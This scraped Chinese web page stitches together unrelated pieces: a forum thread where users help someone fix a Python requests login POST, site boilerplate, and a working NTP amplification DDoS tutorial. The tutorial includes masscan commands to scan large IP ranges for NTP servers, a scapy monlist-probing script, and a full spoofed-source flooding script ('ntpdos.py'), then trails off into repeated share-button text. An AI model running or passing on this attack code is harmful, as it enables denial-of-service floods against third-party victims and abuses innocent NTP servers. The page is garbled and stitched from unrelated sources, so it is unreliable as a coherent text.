求大佬们帮忙下帮忙看一下这个Python脚本问题在哪里,一直无法成功post登录

弱弱的问一下各位大佬,零基础学习下载Python哪个版本比较适合【python吧】_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:194,746贴子:
弱弱的问一下各位大佬,零基础学习下载Python哪个版本比较收藏
弱弱的问一下各位大佬,零基础学习下载Python哪个版本比较适合
51CTO学院12年行业品牌,1600万用户选择,中国专业IT技能学习平台.python资深大牛授课,0基础从入门到精通,python报名与培训中心.
当然是最新版本,3.7
登录百度帐号开发给的接口是这样的,有headers的数据,用python不知道为啥一直报错,用postman可以正常调用
请问传入headers怎么传入?
import requests
import json
import urllib
import urllib2
url = "http://ivt3.hschefu.com:9199/login"
# headers = {'content-type': 'application/json'}
data1 = {'password': '','username': 'xiangjin'}
para = json.dumps(data1)
print(para)
header1 ={'app': 'string','gps': 'string','os': 'string','token': 'string','ver': 'string'}
# print(header1)
# header2 = json.dumps(header1)
# print(header2)
# headers = {}
# headers= json.dumps(headers)
r = requests.post(url,data=para,headers= header1)
print(r.text)
requests.post(url,data=para,headers= header1)
这里的 headers 对应的是 ,即 http 协议中的一个特殊部分。和你在 http body 里面的 json 的 header 字段值不是同一个概念。而你的 http body 一直都是缺少了 header 这个 json 字段的。
遇到这类问题,推荐你用一个通用的解决方法:抓包。先抓到 Postman 发出的正确包,然后再抓 requests 发出的包,比对这两个包的差异,改你的脚本直至两者抓包结果一致。
PS:从 postman 截图来看,有3个 http header 字段,但你 python 脚本里没配,可以从这个方面尝试去看看?
你传的是json 数据,所以只需要改一个地方就可以了,r = requests.post(url, json=para, headers=headers)
哎~~~用requests的json参数本身就会在header里加上 {'Content-Type': "application/json"} ,而且body里明显是json那就用json参数啊。data参数是传form data用的。
4楼 已删除
你的参数 dump 了两次,dump 一次就够了
data1 改为:
data1 = {"data":{"password": "","username": "xiangjin"}}
其实我也比较懵逼
看了看帖子,开始有一个地方没太想通,requests在post提交json的时候不是该
requests.post(url,json='xxx',header={'Content-Type': "application/json"}
requests.post(url,data='xxx',header={'Content-Type': "application/json"}
也可以?当然data和json的实参类型不一样;
然后我做了个实验
去github上clone requests模块代码,clone到Download目录;
去requests-master/requests/adapters.py 第435行添加了print request.body
ta就变成了这样
if not chunked:
print request.body
# 这是我添加的
resp = conn.urlopen(
method=request.method,
body=request.body,
headers=request.headers,
redirect=False,
assert_same_host=False,
preload_content=False,
decode_content=False,
retries=self.max_retries,
timeout=timeout
3.然后写了代码
import sys,os
sys.path[0:0]=[os.path.expanduser('~/Downloads/requests-master/')]
print sys.path[0]
import requests
print requests.__file__
url = "http://ivt3.hschefu.com:9199/login"
headers = {
'Content-Type': "application/json",
# 第一种方式
requests.request("POST", url, json={"data":
{"password": "",
"username": "xiangjin"}
headers=headers)
# 第二种方式
payload = "{\"data\": {\"password\": \"\",\"username\": \"xiangjin\"}}"
requests.request("POST", url, data=payload,
headers=headers)
# 第三种方式
requests.request("POST", url, data=payload)
/Users/yeap/Downloads/requests-master/
/Users/yeap/Downloads/requests-master/requests/__init__.pyc
{"data": {"username": "xiangjin", "password": ""}}
{"data": {"password": "","username": "xiangjin"}}
{"data": {"password": "","username": "xiangjin"}}
所以基本断定这三种写法的效果是一样的,当然我推荐第一种;
至今仍看不懂 requests,我不会py
然后连charles代理,一样的请求,只是第三种没有headers字段;
你这是在考验大家的眼力吗
既然你用例requests为啥还要import urllib,import urllib2
r = requests.post(url,json=data,headers= headers),
data=你postman body中所有的数据
你的 data1写错了啊
data1 = {"data":{"password": "","username": "xiangjin"}}
亲改成你说的那样还是不行呢
#coding=utf-8
import requests
import json
import urllib
import urllib2
url = "http://ivt3.hschefu.com:9199/login"
headers = {
'Content-Type': "application/json",
'Cache-Control': "no-cache",
'Postman-Token': "2075beff-527a-4eb4-a5f1-45de3d3ecab1"
data1 = {"password": "","username": "xiangjin"}
para = json.dumps(data1)
print(para)
r = requests.post(url,data=json.dumps(para),headers= headers)
print(r.text)
你注意看payload = "{\"data\": {\"password\": \"\",\"username\": \"xiangjin\"}}"
这是字符串,而你使用的是字典类型,是不一样的,如果按照你的代码,只需要把data= 改成json=, 或者r = requests.post(url,data=json.dump(para),headers= header1) 这样也是可以的,要把你的para数据dump一下
导出python代码是这样的。。。运行到python可以成功执行
请问为什么要写数据格式要写/,然后data要用两个{}呢。。。。
正确代码是这样的。。请问为什么data写法要写/在里面呢
import requests
url = "http://ivt3.hschefu.com:9199/login"
payload = "{\"data\": {\"password\": \"\",\"username\": \"xiangjin\"}}"
headers = {
'Content-Type': "application/json",
response = requests.request("POST", url, data=payload, headers=headers)
r = requests.post(url,data=payload,headers= headers)
print(response.text)
print(r.text)
比postman ui简单的多
你json.dump了么
r = requests.post(url,data=json.dump(para),headers= header1)
data1还是要转成json字符串
注意一下header1要加上Content-t
Type:application/json键值对,postman可以是因为你的postman数据选择为json的时候,已经自动帮你添加了。
POSTMAN提取python是这样滴。。。
我照着样子修改了下代码。。还是调不通。。。
postman直接可以导出Python代码,导出来看看缺少些什么
我也觉得。。有两个字段的东西。。但是又不能合在一起写进data。。。全部写进去又报错。。
那3个headers有两个是之前调试的。。实际只有一个这个
亲把那个headers写进去了。。然后吧body里面的header的数据全部装进data了。。可是还是报错。。
亲。。。我把数据全部放在data1里面 还是不行呢。。。。
是提交是数据里面有个叫header的。。。
不是你请求的headers
关闭了讨论
仅楼主可见
后方可回复, 如果你还没有账号请点击这里 。
keita999 (千千)
第 15181 位会员 /
共收到 24 条回复免费领取学习视频加web前端学习群:,C语言/c++加群:。投稿:121粉丝:1715分享--dynmicweibozoneqqbaidu将视频贴到博客或论坛视频地址复制嵌入代码复制微信扫一扫分享收藏0硬币--稍后看马克一下~用手机看转移阵地~用或其他应用扫描二维码手机下视频请使用扫码若未安装客户端,可直接扫此码下载应用未经作者授权 禁止转载
看过该视频的还喜欢正在加载...miniOFFNTP放大攻击其实就是DDoS的一种。通过NTP服务器,可以把很小的请求变成很大的响应,这些响应可以直接指向到受害者的电脑。下面是python实现脚本,脚本只供测试和学习。
masscan是一个快速的端口扫描器
1.安装masscan
https://github.com/robertdavidgraham/masscan
2.扫描IP段端口,生成文件
./masscan -pU:123 -oX ntp.xml --rate 160000 101.0.0.0-120.0.0.0
3.去掉重复,生成新文件
from lxml import etree
port = None
address = None
parsedServers = []
#Opens the file used to store single enteries.
outputFile = open('port123.txt', 'a')
for event, element in etree.iterparse('ntp.xml', tag=&host&):
for child in element:
if child.tag == 'address':
address = child.attrib['addr']
if child.tag == 'ports':
for a in child:
port = a.attrib['portid']
if port & 1 and address & 1:
if address not in parsedServers:
print address
outputFile.write(address + '\n')
parsedServers.append(address)
port = None
address = None
element.clear()
outputFile.close()
print 'End'
4.完整攻击代码
from scapy.all import *
import thread
rawData = &\x17\x00\x03\x2a& + &\x00& * 61
logfile = open('port123.txt', 'r')
outputFile = open('monlistServers.txt', 'a')
def sniffer():
sniffedPacket = sniff(filter=&udp port 48769 and dst net 99.99.99.99&, store=0, prn=analyser)
def analyser(packet):
if len(packet) & 200:
if packet.haslayer(IP):
print packet.getlayer(IP).src
outputFile.write(packet.getlayer(IP).src + '\n')
thread.start_new_thread(sniffer, ())
for address in logfile:
send(IP(dst=address)/UDP(sport=48769, dport=123)/Raw(load=rawData))
print 'End'
https://github.com/vpnguy/ntpdos
#!/usr/bin/env python
from scapy.all import *
import sys
import threading
import time
#NTP Amp DOS attack
#by DaRkReD
#usage ntpdos.py &target ip& &ntpserver list& &number of threads& ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY
#packet sender
def deny():
#Import globals to function
global ntplist
global currentserver
global data
global target
ntpserver = ntplist[currentserver] #Get new server
currentserver = currentserver + 1 #Increment for next
packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
send(packet,loop=1) #SEND IT
#So I dont have to have the same stuff twice
def printhelp():
print &NTP Amplification DOS Attack&
print &By DaRkReD&
print &Usage ntpdos.py &target ip& &ntpserver list& &number of threads&&
print &ex: ex: ntpdos.py 1.2.3.4 file.txt 10&
print &NTP serverlist file should contain one IP per line&
print &MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS&
exit(0)
if len(sys.argv) & 4:
printhelp()
#Fetch Args
target = sys.argv[1]
#Help out idiots
if target in (&help&,&-h&,&h&,&?&,&--h&,&--help&,&/?&):
printhelp()
ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
ntplist = f.readlines()
#Make sure we dont out of bounds
numberthreads & int(len(ntplist)):
print &Attack Aborted: More threads than servers&
print &Next time dont create more threads than servers&
exit(0)
#Magic Packet aka NTP v2 Monlist Packet
data = &\x17\x00\x03\x2a& + &\x00& * 4
#Hold our threads
threads = []
print &Starting to flood: &+ target + & using NTP list: & + ntpserverfile + & With & + str(numberthreads) + & threads&
print &Use CTRL+C to stop attack&
#Thread spawner
for n in range(numberthreads):
thread = threading.Thread(target=deny)
thread.daemon = True
thread.start()
threads.append(thread)
#In progress!
print &Sending...&
#Keep alive so ctrl+c still kills all them threads
while True:
time.sleep(1)
66 queries in 0.393 secondshttps://kuaibao.qq.com/s/G2100?refer=cp_1026分享分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板扫描二维码扫描关注云+社区同媒体快讯分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板相关快讯分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板分享快讯到朋友圈分享快讯到 QQ分享快讯到 QQ 空间分享快讯到微博复制快讯链接到剪贴板扫描二维码扫描关注云+社区

我要回帖

更多关于 dnf很多大佬都是脚本开出来的 的文章

 

随机推荐